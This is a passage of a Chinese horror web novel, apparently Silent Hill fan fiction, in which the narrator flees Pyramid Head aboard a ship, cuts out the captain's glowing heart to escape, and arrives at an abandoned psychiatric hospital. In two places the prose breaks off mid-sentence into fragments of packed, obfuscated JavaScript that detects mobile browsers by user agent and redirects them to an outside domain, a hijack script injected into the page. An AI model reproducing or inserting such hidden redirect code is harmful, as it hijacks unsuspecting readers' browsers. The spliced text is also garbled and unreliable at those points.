十有八︱九那小屁孩正处于青春期,精力最旺盛也是最爱幻想的时期。虽然我不记得自己的青春期,但估计也差不多。天下的小孩都一样,这话是病院里不苟言笑的护士长说的,虽然我不太喜欢她,但她说的挺对。 刚来到船舱二层,我就听到了脚步声。我不想再进一步了,但是我必须去探索。 转过一个拐角,空无一物,我舒了口气,谁知身后突然蹦出个人: “丽莎。” 我猛地回过头,只见不远处的尤克斯背微微驼着,双眼血红头发凌乱,他抱着双肩:“终于看到你了,我以为你死了或者丢下我一个人逃出去了。” ……我也是这么想你的。 我突然之间有些恼火,大惊小怪的干什么,还以为是三角头从海里爬上来了,差点没把我吓死。 29. 第 29 章 尤克斯似乎发现了我态度不大对劲,轻咳一声小心翼翼地问:“怎么了?” 我向后退开一步,“没什么,走吧。” 我走的快,尤克斯在后面追我,他的腿似乎受伤了一瘸一拐的,这是他在被我甩在后面,大声喊着求我等等他的时候才发现的。 他小腿裤子布料少了一大块,内里的皮肉泛着黑红色,像是……烧伤? 烧伤?! 我顿时神经紧绷,细细嗅着空气中的味道,除了船舱内潮湿和腐朽,什么也没有,更没有想象中那股火烧时散发出的烟熏味。 船上没有着火。 想来也是,我们现在可是在海上,到处都是水,况且船这么小外面的海风又那么大,一旦着了火不出片刻肯定会从头烧到尾,然后只留下一点可怜的残肢坠入海底。 “伤怎么来的?”我问他,“烤火取暖时烫伤的吗,有没有擦药?” 我知道“烤火时烫伤”这个猜想很可笑,但我除此之外真的想不到任何其他的可能了,况且现在确实挺冷的,更何况我们身上都被海水打湿了。 “不是……” 刘海遮盖住他的半张脸,“是被火……” “我当然知道是火……” “被船上的火,整艘船都在燃烧。”他的声音有些发颤,我能感觉到其中蕴含着的恐惧,于是我闭嘴了。 在我的眼里,目前我们所在的只是一艘在普通不过的帆船而已,但是在尤克斯的眼里,这是一艘火船。勿毋质疑,那是他里世界的面貌。 我呼出一口气,那他还挺不好受的,到处都是火一定很热,还要承受随时被烧伤的风险。但那终归是他的里世界,我又感受不到,无法与他共鸣。 “那更要快点找出路了。”我说,“不然你得一直呆在火海里,对吧?” 尤克斯嗫嚅:“你说得对,但我找不到。” “那我们一起找。”我说完以后率先向前走去,在靠近走廊的时候,我又听到了奇怪的脚步声。沉重,有力,从远处的黑暗中传来。 “怎么不走了?”身后的尤克斯单脚搭在第一级台阶上,疑惑地朝我凝望的方向看。 黑暗之中,脚步声越来越近,我的呼吸也越来越急促。煤油灯所照射到的范围分为好几个层次,首先是我所在的光源中心,然后是周围扩散开的光亮,最后是光照范围的最边缘,就像是日出前的那一抹预示。 不清不楚,不明不白,黑暗与明亮的交界线。 一只脚入侵,瞧那鞋子的样式,我顿时冷汗直冒,扭头就跑。是三角头! 砰——我用力关上船舱的门,到处张望了一番,最后捡了一根不知道哪来的木棍横插在两个把手之间。 “什么?”尤克斯迷茫的问。 我气喘吁吁道:“和你提过的,我的里世界中的审判者——三角头盔。” . 我发现自己已经开始对尤克斯感到厌烦了,从一开始发现他真实身份的惊讶以及知晓他对寂静岭了解程度的钦佩,到现在也不过几个小时的时间。几个小时,我的态度急转直下。 归根结底,我总结了原因——现在的尤克斯不再能为我提供帮助了。 我靠站在墙边,斜蔑着瘫坐在地上,抱着脑袋发抖还时不时被空气吓到的尤克斯。现在的他对我来说是个累赘,他的精神已经被里世界侵蚀殆尽,即将抵达崩溃边缘,换句话说就算我大发慈心不离不弃,他也不会有任何好转。 确实,我不理解尤克斯曾经经历过什么,以至于在会被又自己心理世界构建而成的里世界吓成这样。 但这又和我有什么关系呢?我并不为自己的想法感到忏悔。 煤油灯放在脚边,我用手摩擦着下唇沉思,思考着寻找出路的办法,但是尤克斯让我无法静心去思考。他一直在崩溃地呜咽,我真的不知道到底有什么好哭的。 “闭嘴!”我怒气冲冲地吼道。 尤克斯被我骂了以后非常自觉的地闭了嘴,获得了难得的清静以后,我长舒一口气。 但俗话说得好,情绪这东西由不得人,尤克斯又开始哭了起来。我真的很生气,“你能不能别哭了?帮不上忙就算了,还在这里……” “对不起。”尤克斯颤抖着抬起手指向左边,“可有一具焦尸在看着我。” 我挑了挑眉毛,顺着他指的方向看去,什么也没有。 尤克斯好像快疯了,又突然从喋喋不休变为安静,上下嘴唇抿地很紧。我疑惑:“你怎么了?” “来了……”他说。 与此同时,我看到他烧伤的那半张脸,开始变得通红,皮肤边缘像是被火烧一样逐渐像焦炭靠拢。我不可思议:“你的脸……” 我从来没有有任何一个人,能够在被火烧的请款仍然一动不动,宛如早已知晓死亡结局,挣扎过后的无奈。 “尤克斯·伊利亚特!”我吼道。 见名字也无法唤醒他,我干脆上前一把抓住他的衣领用力向后扯。 他在地上趴了好一会,眼神才逐渐清明,但就在神志回复的第一秒,迸发出了尖锐的惨叫。他捂着自己被烧伤的侧脸,崩溃埋下头去,哭泣地肩膀止不住颤抖,“为什么……都这么多年过去了……为什么还不愿意放过我!” 尤克斯哭的撕心裂肺,以至于我觉得如果在此时插嘴实在太不人道。我叹了一口气,原地蹲坐下来,打算等他自己情绪稳定以后,再继续寻找出口。 黑色的天空原本是一片无边无际的海,而那轮圆月也原本只是照明灯而已。月亮周边的海水呈现出蓝色,从这么远的位置还能隐约瞧见海水的波动,就像云雾一样。 我驮着腮帮子看天,突然眼睛像是被什么东西刺了一下,我连忙低下头捂住眼睛,泪水不自觉地分泌。怎么回事,难不成进眼睫毛了吗? 这时候尤克斯的哭声逐渐弱了,只能听见无法控制地抽气声,他仰面躺在地上,胸口撑起又平复,鼻子和嘴巴时不时猛地吸入一口气,然后吐出来。他侧脸的伤口已经开始流组织液了,和血一起向外渗出。 “好点了吗?”我问他。 他的声音细若蚊蝇:“嗯……我现在焦虑的只有一件事,这样的我如何才能找到窄门。” “慢慢找呗。”我说,“窄门一道捷径,想找到它的人千千万,但事实上能够完整通过的屈指可数……这不是你说的?” 尤克斯沉默了一会,“你说得对。” 忽然,他的瞳孔猛然缩小,像是看到什么可怕地东西一样张大嘴巴。他像是想尖叫,但因为过分的恐慌而无法发出声音。 我抬起头,心脏宛如被宽大的手掌用力攥住,紧接着一种难以描述的惊恐感从心脏挤压出来遍布全身眼神,就像被凶猛地老虎细细舔着头皮,鸡皮疙瘩全都竖了起来。我也和尤克斯一样,惊恐地张开嘴巴,寒风倒灌进来,我的喉管很冷。 巨大的章鱼触角从天上的海里伸出来,先是尖而小的顶部,然后是粗壮的触须,就在我以为要达到尽头的时候,触须的根部竟然还连接这一张脸。 那张脸被触须遮盖住大半,只露出一双恶心的眼睛……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988183|161567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 巨大的眼眶里塞满了无数只眼睛,眨眼的频率不一致,四处探究的方向也不一只,密密麻麻,混乱而又惊悚。 我颤抖着捂住了嘴,将自己紧紧贴在后面的舱壁上,尽全力降低存在感。 “那是什么……”尤克斯惊恐地问。 我一把捂住他的嘴,将没能出口地声音捂住,还狠狠瞪了他一眼——安静。尤克斯读懂了,他取下我的手,和我一样紧贴墙壁,不过我是蹲着的,他是躺着的。 大章鱼伸长触须向我们所在的海探来,幸运的是,他探索的区域离我们所在的船还有很大的一片距离。当它的触须刚触碰海面,触|手就蜂拥而上裹了个严严实实,但又很快被甩掉。 触须在海里摸索,搅出大片波浪,连带着船只都上下摇晃,我们被晃得东倒西歪,头晕目眩,尽管这样也不敢发出半点声音。 它好像摸索完毕了,于是开始朝这片海过渡,那颗连着触须的大脑袋开始脱离天上的海。 如果是以前,我一定会瞪大双眼一看究竟,势必要弄清楚这大章鱼到底是什么玩意。但现在…… 我不敢看。 我抱住船边的栏杆,垂着脑袋紧闭双眼,只求它快点消失。 直到船身不在摇晃,我才睁开眼睛。因为我是趴在栏杆边的缘故,稍稍一探头就能看到海面。海底只有那些飘来飘去的触|手,看不到可怕恶心的大章鱼。 我松了口气,开始寻找尤克斯。 他在另一头,和我一样紧紧抱着栏杆,区别是整个人又在瑟瑟发抖,甚至烧伤都有了严重的趋势。 我走过去将他从地上扯起来,“怪物又来骚扰你了?” 他眼神呆滞,点了点头。 “你不能躲吗?”我问他。 “躲不了。”他说:“它们会永远跟随我,直到我死亡才得以解脱。” 难怪他会说出死亡是救赎,他也太悲观了,自我见到他以来,除了刚开始的初见,其他时候都在崩溃和大哭中度过。 “用不着死亡,出去就行。”我说:“所以当务之急还是尽快找到出路。刚才的那个大章鱼你也看到了,我曾经遇到过,它很危险。幸好它没发现我们的存在,否则就要被抓走了。” 尤克斯皱了皱眉,“我也遇到过,但它好像对我毫不在意的样子……” 从尤克斯的话里能感觉到,对于他来说大章鱼不是一个具有危险性的东西,我可不相信。我非常坚定地认为大章鱼不是善类,以及它和三角头勾结的事实,我永远也忘不了自己被三角头带到天台上,亲手将我喂食给大章鱼的事。 咚—— 有什么东西掉了下来,砸在甲板上。从远处看像是个金属制品,但因为表面布满铜锈,没有泛出半点金属光泽。 拿东西是从上面扔下来的,从掉落的弧度判断,起始位应该是……船舱二楼! 我的眼皮猛地颤抖了一下,没有丝毫犹豫地朝楼梯跑去。 “等等!”尤克斯反应过来后想跟上我,却不知道为什么一脚刚踏上楼梯便停住了,他惊恐地望着前方好一会,然后朝我道:“你去哪?” 我对他说:“你如果上不来就在下面等着吧。”说完我头也不回的推开了二楼舱门,无视了后面尤克斯呼唤我的声音,凄厉而又悲泣: “不,求求,别把我一人丢在这——” 门吱呀一声自动关上,坐在驾驶位上的熟悉身影缓慢地转过身。我不知道该怎么形容此刻的情绪,只知道自己双手合十捂住脸,几乎快哭了: “船长……” 30.第 30 章 船长没有死,我以为他早就沉入海底了。我站在他身前,捧着他裹满绷带的脸看了很久。他的存在令我感到安心。同时,我又发现他的头发、身上都是干燥的,一丁点湿润的感觉都没有。 “你是怎么从海里出来的?”我问。 [我从未进入海里过。]他写道。 我眨了眨眼睛,什么意思?他的话令我心中充满疑虑,捧着他脸的手垂落下来,眼前的船长在一瞬间也变得似乎陌生起来,包括他的头发,裹在身上的绷带,除了漂亮的字迹以外,都令我感到疑惑:“你……” [出口已经开启,你不去寻找吗?] 我回了神,收起心中的警惕,故作轻松地靠在后方的驾驶台上:“我找了,可是找不到。” “那个满是啤酒瓶的房间确实通完外面,但不是我想要的出口,我想要离开,彻彻底底的离开。”我说。 [那你得用心去找。]船长淡笑着,手覆在胸口,[这个世界上没有完全密闭的空间。] 我已经很用心了,我瘪了瘪嘴,“好,我明白了。” 我很开心能够与船长重逢,但他每一次口吐牛头不对马嘴的语言令我难受,其实起初我以为这是我自己的问题,后来发现每一次企图向他寻求帮助得到的都是这样的结果。不是我的问题,只是他太爱说迷糊语言。 出口不在这里,那总不会在之前的那艘沉船上吧,那可真糟糕,我现在肯定回不去了。这只是一个猜想,我怀着开玩笑的语气问出了口,实际上还是隐晦地吐槽他不说人话。 谁料到他竟然一本正经,[当然可以。] 当然……什么?! 不等我反应他就将我拉了过去,然后托着我的腰向上举——他的胳膊看起来很细,竟然很有力气,我的脚跟离开地面,只有脚尖还虚虚点着。 [跳。]他在我的后腰上用指尖轻轻写着。 我尝试着跳了一下,身体短暂的悬空后回归原位。 [跳。] 我又跳了第二次,第三次……就在第三次的时候,在我的弹跳时船长托着我的腰更向上举了一些,就在某一个高度,就像越过某个看不见的空间…… 重力颠倒,地心引力的来源变为头顶,我向上掉了下去。 头顶抵着风,发丝被吹得凌乱不堪,我抬头想要看脸却被风刮的生疼,我连忙低下去埋回胸口。 我掉进了海里,海水如同羊水一样包裹住我。就在我以为又要重新感受之前几乎被海水溺死的痛苦时,我发现自己好像可以呼吸了?! 张开嘴,海水被隔离在唇瓣外,空气涌了进来,当我使鼻子呼吸时,海水则被隔在鼻子外面。我重复许多次,发现都是同样的结果。 我能在海里呼吸了!这个消息使我振奋,也就是说我不用顾忌呼吸的问题,可以尽情的在海中探索。 但我很快又清醒过来,这是上天的恩赐,不知道什么时候会突然收回,我还是加快速度比较好。 越靠近海底,离光亮的距离越近。我的脚踩上海底湿软的泥土,远处的照明灯将海底的一切都呈现地一览无余,就像天亮了一样。不知道为什么船的遗骸和照明灯不在同一处还离得那么远。 帆船的遗骸旁躺着无数具水手的尸体,大部分倒立悬空在海底,小部分因为腰间挂有沉重物平躺在泥土上,未受沉重物影响的四肢微微上浮漂。 这些都不大能引起我的注意力,重要的是那把熟悉的驾驶椅,上面坐着一个人。这还不足以令我惊讶,直到我游到那人面前时,才捂住嘴倒吸一口气。 船长,是我记忆中的船长,他阖眼靠坐在椅背上,一副闭目养神的模样,但我知道他恐怕已经失去了生命。 我简直不可置信,伸出手轻轻触摸他裹满绷带的胳膊。不是幻觉,是真的。 既然船长在海底,那船上的那个……我意识到另一边海域里与这个海域早已沉入海底的,别无一二的帆船,难不成两边是一比一复制? 这涉及到了我的知识盲区,在我看来这个世界上没有两个一模一样的人,就像没有两片一模一样的树叶。死物可以被复制,生命体怎么能行?两个船长,到底那一个才是…… 就在这时候船长突然伸出手触碰了我。他还活着,没有死!似乎他和我一样,都能在水下呼吸。 船长在触碰到我后,从一瞬间的迷茫变为惊讶地摸我的脸,然后愤怒地攥紧拳头。我知道他在生气什么,他在气我又回来了,回来送死。 真奇怪,明明我们相识的时间如此短暂,我却了解他到这种程度。也许他是我心理世界化身的缘故吧,我是他,他亦是我。 “我是来找出口的,在另一边我没有找到。”我没想到自己居然能发出声音,我本想用口型告诉他,现在倒省事了。 他听闻垂眸沉默了一会,然后来拉我。他被铁链绑在椅子上,只能尽力朝我的方向靠拢。我自发的握住他的手,然后游动到的他身侧,紧贴着他站着。 [杀了我。]他在我的手上写道。 我心里一惊,“杀了……?” 船长放开我的手,解开衣扣和缠在身上的绷带。隐藏在绷带下面的是和水手们相同的骷髅身躯,唯一不同的是在左胸肋骨里侧,有一颗跳动的心脏,隐约发着光,在缓慢地跳动。 他说杀了他就能出去,只要破坏心脏,他就能死。那么简单的事情,我却浑身僵硬,根本动不了。 船长就这样将自己的生命弱点暴露在我的面前,却一脸平静,半点没有面对死亡的恐慌。 “不……我……”我的声音在颤抖。 船长将指尖挤入我蜷曲握紧的手的缝隙中,用力撑开摊平,然后放在胸口上。手心感受到生命的跳动,宛如鼓点一样从掌心逐渐流入心脏,我的心也开始跳动起来。 “不!”我甩开他的手,“我不会取你的命,我会另想办法,以及……”我的眼睛落在绑着他的铁链上。 我在海底转悠了好几圈,终于在一具水手尸体上发现了把老虎钳,被死死地系在腰带上也不知道是不是怕人偷。本来就系地紧,再加上被海水泡了许久,绳子都泡发了,我连拽带啃终于把老虎钳取了下来。 老虎钳虽然算不上大但威力丝毫不容小觑 ,原本令人头痛的铁链在它的啃咬下很快断成几节。 船长恢复了自由,他却仍然坐在驾驶位上,一动不动地看着我。 “你的束缚消失了,想去哪就去哪,这算我对你告诉我出路的谢礼。”我捧住他的脸,在唇角落下一吻,他脸上的绷带被海水弄的湿透,一股咸味: “再见。” 虽然以后再也见不上面了。 我回去了,回到另一头在海面漂荡的帆船。感谢这艘船没有漂地太远,按照记忆中的定位可以准确无误地落在甲板上,不然我回去的时候得一头扎进海里。 在回去的第一时间我就遭到了尤克斯的谴责,每个字都是对我丢下他一人的控诉。我发现他好像很抗拒一个人呆在略显昏暗的场所,虽然不知道为什么,但我猜和他过去的经历有关。 他实在太过悲伤,我只能安慰:“我已经找到了出去的办法,很快就能离开这个鬼地方了。” “真的?”他问。 “真的……”一声巨响打断了我,横在门上的木棍断裂,靠近船尾的船舱门被踹飞,越过我们的两侧狠狠砸向后面,极具金属质感的头盔率先钻了出来,然后是结实、布满血迹的躯干。 “丽莎?”尤克斯的声音令我回过神。 “我们得快点。”我拉上尤克斯就朝驾驶室跑,也不管他能不能跟上我的步伐,“那个该死三角头要来取我的命了。” 我一脚踹开门,一边向前走一边从腰后摸出那把匕首。 “你……”尤克斯在我的后面,肯定看到了我这个充满杀意的举动。我回头瞪了他一眼,让他闭嘴。 我废话不多说,向船长手起刀落,割开他的衣服和裹在胸前的绷带。他身上的铁链过去是我心疼他的禁锢物,如今倒是方便了我的施|暴。 他不是我记忆中的船长,在我心中留下一块空地的船长另有其人。 我用刀背敲断肋骨,取出那颗心脏。 全程船长情绪淡漠,亲眼看着我对他挖心掏肺,没有任何抵抗的反应,就像默默等待被献祭的祭品。 心脏虽然在跳动,却是玻璃质感的,表面棱角分明,在昏暗的环境里隐隐发着光,我听过一个说法,活在世间的人都有两颗心脏,其中一颗承受世间所有不堪和污秽,另一颗透明到极致,被称之为真心。 人的一生只有一颗心,所谓的两颗心只是人们编造出来的故事汇而已。这只是一颗特别的心脏,仅此而已。 “真好看。”尤克斯被吸引了过来,眼睛一眨不眨地盯着它。 我全盘托出,“这是能带我们出去的东西。” 尤克斯眼睛瞬间亮了,死气沉沉被希望所吞没,整个人焕发出一种名为生的光亮。 不过该怎么用?我下意识朝船长看去,他已经彻底停止了呼吸,胸口破开大洞,断裂带肋骨散落在大腿和地下。 为什么要看他,我连忙收回视线。 我举起这颗心脏观察,发现当它身在暗处的时候便会发光,但一旦靠近亮度比自己高的东西时,光亮就会消失不见,像荧光剂一样。除此之外,我还发现当煤油灯紧贴着它的时候,灯光会在其中反复折射并最终集中在心脏的中央,呈现出一个……黑点? 按理来说,中心呈现出的该是光源点才对。凑近再仔细看,那并不是黑点,而是一副乌黑的画,没错,这个黑点实际是长方形的。 难不成要砸碎它?我手握心脏自问。 啪嗒。 一滴水从空中落了下来,好巧不巧滴落在心脏上,水里顺着心脏并不平滑的表面滑落,我抬头—— 一只巨大的触︱手立在船前,像是弯腰一样微微弯下没有骨头的软体,用略显尖锐的顶端朝向我们的方向。它刚从海里出来,身体还是湿润的,海水不断地向下滴着,我傻站在那里,连头发被淋湿了都不知道。 尤克斯惊愕:“这是什么?!” 砰—— 驾驶室的门飞了起来,门外三角头的腿还保持着前踹姿势。 前有取人性命的触|手右后残暴的三角头,我被夹在中间,本该是一个必死的结局,但谁叫我生存欲望过于旺盛,在触|手的连续三次袭击下都完好无损。与此同时我还发现,触|手的目标并非我和尤克斯,而是我手上的心脏。 煤油灯在我们躲避期间早就被无意中踢到墙角去了,现如今玻璃心脏成了唯一的光源。触|手似乎对玻璃心脏发出的光亮情有独钟,我怀疑它抢不过同类,无法占据一个充分沐浴光亮的好位置,于是另辟蹊径来抢我的。 真有意思。 但我可不会让它得逞,我高举心脏狠狠往下砸。 哐当一声。 声音很响,但心脏只是多了一条裂缝,没有碎裂。 我傻了眼,弯腰想捡起来继续砸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我想要救他,但脑袋里一闪而过自私的想法,僵在原地没有动作,眼睁睁看着他被拖拽进了海里,惨叫被海浪吞噬。 数根章鱼脚在海面舞动,有的甚至缠住帆船前桅杆,船只顿时倾斜。我知道不能再等了,曲起膝盖跳进了画中。 在视野被黑暗所吞噬的前一秒,我看到三角头走到画边,却不是来抓我的,而是低头用砍刀拨弄着心脏的其中一块较大的碎片。 …… 目光所及之处不是记忆中的电梯,也不是进入里世界前那个涂满灰色油漆的楼底层,而是一片漆黑。 黑到极致,我能看清自己的双手双脚,却无法察觉出自身以外的任何事物。 我四处摸索,转了一圈,发现黑暗中多了一个天秤,再转一圈,一张带着微笑的金发碧眼小天使毫无征兆地出现在面前。 “哇——!”我被吓了一跳。 可爱小天使用白白嫩嫩的小手点向我的胸口,“心脏。” 祂不仅外表像,说话也像刚满月的婴儿,还带着牙牙语的粘糊音:“心脏,我要。” “我不能给你。”我说。没了心脏,我不就死了吗? 天使嘟嘟婴儿嘴,不多废话直接从背后取出一把短刀。天使长的小,哪怕是匕首一样的小短刀也拿不稳,在手里晃晃悠悠,贴近的时候,差点扎到我的脸。 我吓得想要跑,谁知道全身像是被施了法一样动弹不得。 祂两手捧着刀,小心翼翼地刺进我胸口的皮肤,然后慢悠悠地划开。这简直就是凌迟,我疼得眼冒金星,浑身都在发抖。 先是被一点点割开胸口的皮肉,然后慢悠悠地削断肋骨,到最后我已经感受不到疼痛,只剩下麻木。小天使终于结束了这场折磨,祂满手都是血,捧着我仍在不断跳动的心脏,朝我一笑:“还是热的!” 祂将我的心脏放在天秤上,然后在另一头放上一根羽毛。天秤开始朝心脏的方向倾斜,小天使满意地点了点头,突然天秤在停顿了几秒后开始朝羽毛倒去,撑着羽毛的圆盘触及到底座后,又开始向心脏倾斜……就这样一上一下,几乎无休无止。 小天使的笑容逐渐消失,一眨不眨地盯着天秤。 左□□斜的速度越来越快,发出了叮叮叮的响声,然后突然之间……一把大火,将心脏和羽毛一起烧了个干干净净。 天秤恢复了中立的姿态。不知为何,我松了口气。 小天使的脸色变得极差,眉毛皱起,龇牙咧嘴,活像地狱恶鬼,“你破坏了规则!” 规则?什么规则?我一头雾水,但仍然不妨碍对祂此刻的状态感到害怕。 “爱耍小聪明的破坏者!”祂面容越来越狰狞,开始逐渐失去人形,虚化成各种模样,长满眼睛的六翼肉球,狼头人身的亡灵审判者…… 在惊恐之余,我发现自己竟然能动了,于是我转身就跑,把天使远远地甩在后面。除了向前奔跑以外,我脑海里没有其他任何东西,。 我就这样一直跑……跑……跑……身后是尖锐的咒言: “本该永困在此的恶魂,利用漏洞逃脱寂静之地的惩戒,但这一次,你再也无法得逞……” 在这片看不到尽头的黑暗中,然后在忘记了时间、地点的某一刻,周身场景变化,我站定在熟悉的电梯里,眼前是那副油画,小腿旁的狗狗在蹭我。 胸腔里的剧烈跳动几乎冲破喉咙,我将掌心覆在胸口。还好……还在…… 该死的寂静岭,什么鬼。 31.第 31 章 地下室有一条通往外界的通道,是尤克斯告诉我的。 通道很窄,只能允许我一人通过,小狗跟在我的后面,通道很矮,我的天灵盖几乎要贴到顶部的石砖。 我加快脚步,太压抑了,得快点出去。 走了很久,我终于看到一个向上的爬梯。推开窨井盖,入眼的是满天大雾和几乎被大雾完全遮盖,只能窥探到一点的夜空。 说实在的,在看到夜空的那一刻,我的大脑轰的一声炸开了,几乎以为自己还留在里世界里,直到小狗舔着我的脸让我回过神来,这才意识到我已经出来的。 我一屁股坐在地下,长长地舒了口气。 接下来该往哪里走?这么大的雾霭,连路边的灯光都照不透,在这种情况下找路约等于摸瞎。 就在我不知所措的时候,小狗把它的尾巴塞进我的手里,叫唤两声然后抬腿向前走。我的手紧紧抓着它的尾巴,在它向前走的时候,被带动着地往前一个趔趄。 见我不动,小狗停下脚步朝我扬了扬脑袋,原地踏步。 祂在示意我跟上!我点了点头,双手握紧尾巴,跟随着它缓慢前行。 我们在一座巨大的铁门前停下。小狗在铁门上嗅来嗅去,还用手扒拉铁门的栏杆之间的缝隙。小狗在找开门的位置,我也在找,终于在角落里,手触摸上去的时候,那个位置微微下凹甚至能直接推开——是个类似于狗洞的东西。 狗洞。 我顿时感觉不适起来。虽然我本人性情随和,但是如果要这样侮辱我,那可不行,所以我拒绝进入。 可惜拒绝的只有我一人而已,小狗在看见这个“狗洞”以后,兴奋的左三圈右三圈,然后一头钻了进去,站在里面催促我赶紧过来。 唇抿成一条直线,我浑身上下都透露着拒绝二字。小狗锲而不舍地呼唤我,甚至开始急不可耐地用两手扒拉着铁门,指甲在上面划过发出刺耳的声音。 终于在僵持许久后,我选择了妥协,毕竟外面真的很冷。 我猫着腰攥紧狗洞,在完全进入以后,只听啪的一声,狗洞的开合门自动关上,与偌大的铁门融为一体,看不出这个地方原来有一个可供同行的小门。我尝试着拉了拉,竟然纹丝不动! 可以确信的是,我的大脑并没有那么愚蠢,哪怕“狗洞”突然消失但距离刚才我推门而入也只有十秒钟的时间,具体方位我记得清清楚楚。 我站直身体向后退了几步。 巨大的铁门几乎没有边际,超过视野所在的地方全部隐入大雾之中,我从未见过长度如此之大的…… 我倒吸一口凉气,眼前的不能称之为铁门,或者称呼它为墙壁比较合适。 黑色的铁质栏杆纵横交错,最终组成了墙的形态,并且看不到边际,看不到尽头,就好像…… 囚笼。 这是一座囚笼,只能进不能出的囚笼。 和之前的别墅不一样,我吞咽了一下唾沫,转过身。不远处的巨大建筑物在雾霭中若隐若现,哪怕如此神秘做加持也无法掩盖其由内而外散发出的破败与死气沉沉。 并且,这栋建筑早已深深烙印在我的记忆之中。 ——精神病院,或者说精神病疗养院,精神疾病患者永远的囚笼以及坟墓。 囚笼很好理解,至于坟墓…… 其实我所在的那所精神病院里不乏一些被家人抛弃的可怜虫,他们的家人受不了他们日复一日的疾病发作,于是花了大价钱将他们塞进这所病院里。 在住院期间,我目睹过无数患者的逝世,有的因为疾病发作,有的因为受不了病痛的折磨以及家人的抛弃,毅然决然选择放弃生命。 至于我住院的原因,我只知道自己病了,却不记得病因。院里的医生和护士们都因为我的失忆而喜悦,虽然他们没有表现出来,但我能感觉到,我在这方面很有天赋。 对于我的失忆症,医生们从不主动采取治疗,这也是为什么明明我身在病院之中,该病症却始终没有治愈的原因。 医生们不主动治疗,而失忆并没有严重影响到我的生活和日常社交——据了解,在失忆前我性格孤僻没有朋友,也几乎没有家人,就连姐姐的存在也是后来她向我来信问候时,才了解到的。 这也能理解,毕竟以姐姐的工作性质肯定无法随意出现在人们的面前,所以在他人眼中我们的亲缘关系几乎可有可无。 因此我对自己的失忆一直不大有所谓,直到最近,没错,直到知晓寂静岭存在后,想要了解过去的自己这个想法开始如同岩浆般翻滚,灼烧我的大脑和心脏。 我迫切地,急切地想要窥探过去关于我的一切。 推开病院的大门后,扑面而来的是难以忍受的霉灰味,这里充满了腐朽,明显很久都无人光顾了。这只是一座普通到再普通不过的病院,但我却连骨头都在发寒,因为这里的布局和我曾经做接受治疗的精神病院简直一模一样! 我受不了这种精神冲击,掉头就走,但没想到门竟然莫名其妙地自动锁上了。我用力拉拽把手,把门拽地哐啷哐啷直响,大门沟壑里堆积的灰尘纷纷下落,上面所剩无几的油漆涂层也在我的大力之下开始掉落。 可尽管如此,病院的大门仍然纹丝不动。 我向后退了几步,一屁股跌倒在地,双手捂住脸无法控制地哭了起来。为什么……该死的寂静岭,为什么把我引到这里来,我不想回到这里,我不…… 脸颊上传来湿热的触感,小狗在轻轻地舔我的脸。我吸了吸鼻子,抱住它的大脑袋。 算了,哭有什么用呢,还不如快点找一找出去的办法,多拖延一秒,就在这个该死的病院里多呆一秒。 很快我就在小狗的鼓励下振作起来,开始寻找出口。我知道的,这所病院所有的窗户都加装了纱窗式的铁丝网,只容许空气的流通,同时因为铁丝网的特殊性,哪怕老虎钳也是没用的,就算是专门砍柴用的砍刀,也要对着铁丝网砍上一整天。 先不说能不能找到砍刀这种杀伤力武器,病院里连尖锐物都禁止出现在除护士医生以外的人都触碰到的地方,所以从窗户突破根本就是个无解难题。 据我所知病院一共有三个出口,首先是眼前被上锁的大门,其次是地下车库,从楼梯或者电梯到达地下二层后,会有另一个出口通向户外,最后则是三楼。 记忆中病院有主楼和副楼两栋楼房,顾名思义主楼就是主要的区域,大厅、病房、就诊都在这里,副楼则是类似于仓库一样的地方。三楼和副楼之间有一个连廊可以互通,连廊的出入没有门锁,因为副楼主要作为仓库和太平间,充满死亡的味道,病人们对这里敬而远之。 我用排除法最先否掉了第二个出口,也就是地下车库,因为去往地下车库需要专门的门禁卡,这种卡只有医生和护士们有,最后只剩大门和三楼这个选项。 大门的钥匙应该储存在病院前台。 病院里此刻空无一人,我直接命令小狗踹碎前台的玻璃,然后钻了进去。在里面从头到尾翻找一通,都没有找到钥匙,我疑惑地挠了挠头,怎么会没有? 没办法,只能去三楼了,从连廊到达副楼后出去。 我对于副楼的惧怕偏多一些。以前我被关在禁闭室里的时候,只有一扇小窗户可以看向外面,而窗户好巧不巧正对着连廊。 在禁闭中的我百无聊赖,只能通过这一扇小小的窗户解闷。 我总能看到盖着白布的尸体通过连廊被运到副楼。其实我一开始并不知道被放在担架上盖着白布的是尸体,直到那位最爱与我闲聊宅宅门的老头死后的第二天,我又因为犯错被关,从窗户我看到一个担架被两位医护人员缓慢抬过,白布下伸出一只苍老的、遍布老人斑的手,腕上缠着一条我再熟悉不过的十字架项链。 站在电梯门前,我的手悬在电梯按钮上,却始终无法按下去。 笼罩在心头的阴影还在,我对电梯到现在还在惧怕,仿佛只要踏入电梯以后,就会被卷入我痛恨不已的里世界。 最终我深吸一口气,转身爬楼去了。 和所有医院的构造一样,拥有楼梯的逃生通道处在最偏僻的位置,明明每隔一段距离,在临近脚踝的地方都装有窗户,而且现在太阳已经逐渐升起,充满希望日出金光洒满大地,但这里仿佛被世界抛弃了一般,只有无尽的死寂。 楼梯就像没有尽头一样,我垂着脑袋,毫无知觉地向上攀爬,直到跟随着身后的轻快爪子敲打在瓷砖台阶上的声音突然消失,我才后知后觉。 “狗狗?”我向身后问,回答我的时一片寂静。 我抓着栏杆向下看,楼梯盘旋向下,中间的空隙犹如漩涡的中心,我又向上看,龙卷风的中心顶部是被遮住一半的吹奏天使。 “狗狗?” 回声回荡在四周,我在在最中心不断被这回声冲击着鼓膜,大脑越来越混沌,窒息感和恐慌在心中蔓延。 小狗消失了,我又进入了该死的里世界。 . 